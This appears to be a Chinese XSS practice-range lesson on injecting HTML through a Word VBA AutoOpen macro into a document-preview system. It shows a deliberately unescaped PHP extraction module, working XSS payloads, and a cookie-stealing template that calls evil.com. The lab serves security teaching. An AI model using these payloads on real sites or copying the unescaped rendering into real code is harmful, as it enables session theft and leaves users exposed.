Level 20: VBA Macro XSS - XSS 靶场
◈ 渗透任务 Office 文档宏注入攻击验证 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 DocFlow 企业文档审批系统 (docs.docflow.example.com) 委托方 DocFlow 处理用户上传的 .docx 文件,系统自动提取文档内容并展示。攻击者可能利用 VBA 宏注入 XSS payload 任务目标 构造包含恶意宏的 Word 文档,当文档内容被提取展示时触发 XSS

VBA Macro XSS

攻击原理

Office 文档中的 VBA 宏可以修改文档内容。当文档上传到服务端后,系统提取文档内容并渲染为 HTML 展示给用户。如果宏在文档内容中注入了恶意 HTML/JS 代码,而服务端未对提取的内容进行转义,就会触发 XSS。

核心原理:VBA 宏可以在文档保存前自动执行(AutoOpen、Document_Open),将恶意 HTML 标签写入文档正文。当服务端提取文档内容并直接渲染为 HTML 时,这些标签会被浏览器解析执行。

VBA 宏在 .docx 中的存储结构

document.docx (ZIP)
├── [Content_Types].xml
├── _rels/
│   └── .rels
├── word/
│   ├── document.xml         ← 主文档内容
│   ├── vbaProject.bin        ← VBA 宏项目(OLE 格式)
│   ├── vbaData.xml           ← VBA 数据
│   ├── styles.xml
│   ├── _rels/
│   │   └── document.xml.rels
│   └── media/
├── word/vbaProject.bin (OLE)
│   ├── VBA/
│   │   ├── ThisDocument      ← 文档事件代码
│   │   ├── Module1            ← 自定义宏模块
│   │   └── _VBA_PROJECT       ← VBA 项目信息
│   └── PROJECT               ← 项目引用
└── docProps/

宏自动执行触发器

触发器 说明 用途
AutoOpen 文档打开时自动执行 注入恶意内容
Document_Open Document 对象事件 等同 AutoOpen
AutoClose 文档关闭时执行 延迟触发
Document_Close 关闭事件 延迟触发
AutoNew 新建文档时执行 模板攻击

VBA 宏注入 XSS 的流程

' VBA 宏代码示例 - AutoOpen 触发
Sub AutoOpen()
    ' 当文档打开时,宏自动将 XSS payload 写入文档正文
    Dim xssPayload As String
    xssPayload = "<img src=x onerror=alert(document.cookie)>"

    ' 清空文档内容并注入恶意 HTML
    ActiveDocument.Content.Text = ""

    ' 写入包含 XSS 的内容
    ' 服务端提取此内容后直接渲染为 HTML
    ActiveDocument.Content.InsertAfter _
        "<p>正常审批内容</p>" & xssPayload
End Sub

服务端漏洞代码

<?php
// DocFlow 系统 - 文档内容提取模块
$zip = new ZipArchive();
$zip->open($uploaded_file);
$xml = $zip->getFromName('word/document.xml');

// 解析 XML 提取文本
$doc = new DOMDocument();
$doc->loadXML($xml);

// 提取文本节点并拼接 HTML
$html = '';
foreach ($doc->getElementsByTagName('t') as $node) {
    $html .= $node->textContent;
}

// 漏洞: 直接输出未转义的内容
echo '<div class="doc-preview">' . $html . '</div>';
// 如果文本中包含 <img onerror=...> 就会触发 XSS
?>

攻击向量对比

向量 Payload 触发条件
img onerror <img src=x onerror=alert(1)> 渲染 HTML 时
svg onload <svg onload=alert(1)> 渲染 HTML 时
script 标签 <script>alert(1)</script> innerHTML 插入时
事件处理器 <body onload=alert(1)> DOM 解析时
details ontoggle <details open ontoggle=alert(1)> 渲染 HTML 时

服务端提取与渲染流程

用户上传 .docx
    ↓
服务端解压 ZIP
    ↓
提取 word/document.xml
    ↓
解析 XML 获取文本节点
    ↓
拼接为 HTML(未转义)
    ↓
渲染到页面 → XSS 触发!

◈ 练习:VBA Macro XSS

目标:模拟 DocFlow 系统提取 .docx 文档内容后直接渲染为 HTML 的场景。编辑下方的"提取内容",注入 XSS payload,使其在预览区域触发。
VBA 宏代码(模拟宏注入过程):
Sub AutoOpen()
    ' 宏在文档打开时自动执行
    ' 将 XSS payload 注入文档正文
    Dim payload As String

    ' ---- 在此修改 payload ----
    payload = "<img src=x onerror=alert('XSS')>"

    ' 写入文档内容
    ActiveDocument.Content.InsertAfter payload
End Sub
重置
快捷 Payload 模板:
img onerror
<img src=x onerror=alert('XSS')>
svg onload
<svg onload=alert('XSS')>
script 标签
<script>alert('XSS')</script>
details ontoggle
<details open ontoggle=alert('XSS')><summary>click</summary></details>
Cookie 窃取
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
◈ 安全过滤状态:
  • HTML 标签过滤 -- 未启用
  • 事件处理器过滤 -- 未启用
  • 输出编码/转义 -- 未执行
  • Content-Security-Policy -- 未配置
  • 宏执行策略 -- 禁用宏(但文档内容已被修改)
◈ 查看漏洞源码 (服务端文档提取)
<?php
// DocFlow 文档审批系统 - 文档内容提取模块
// 从上传的 .docx 文件中提取文本内容并渲染为 HTML 预览

$uploaded_file = $_FILES["document"]["tmp_name"];

// 解压 .docx 提取 word/document.xml
$zip = new ZipArchive();
$zip->open($uploaded_file);
$xml_content = $zip->getFromName("word/document.xml");
$zip->close();

// 解析 XML 提取文本节点
$doc = new DOMDocument();
$doc->loadXML($xml_content);
$body = $doc->getElementsByTagName("body")->item(0);

// 将段落转换为 HTML(漏洞所在:直接拼接未转义的内容)
$html_content = "";
foreach ($body->getElementsByTagName("p") as $para) {
    $text = "";
    foreach ($para->getElementsByTagName("t") as $t) {
        $text .= $t->textContent;
    }
    $html_content .= "<p>" . $text . "</p>";  // 未转义!
}

// 渲染文档预览
echo '<div class="doc-preview">' . $html_content . '</div>';
?>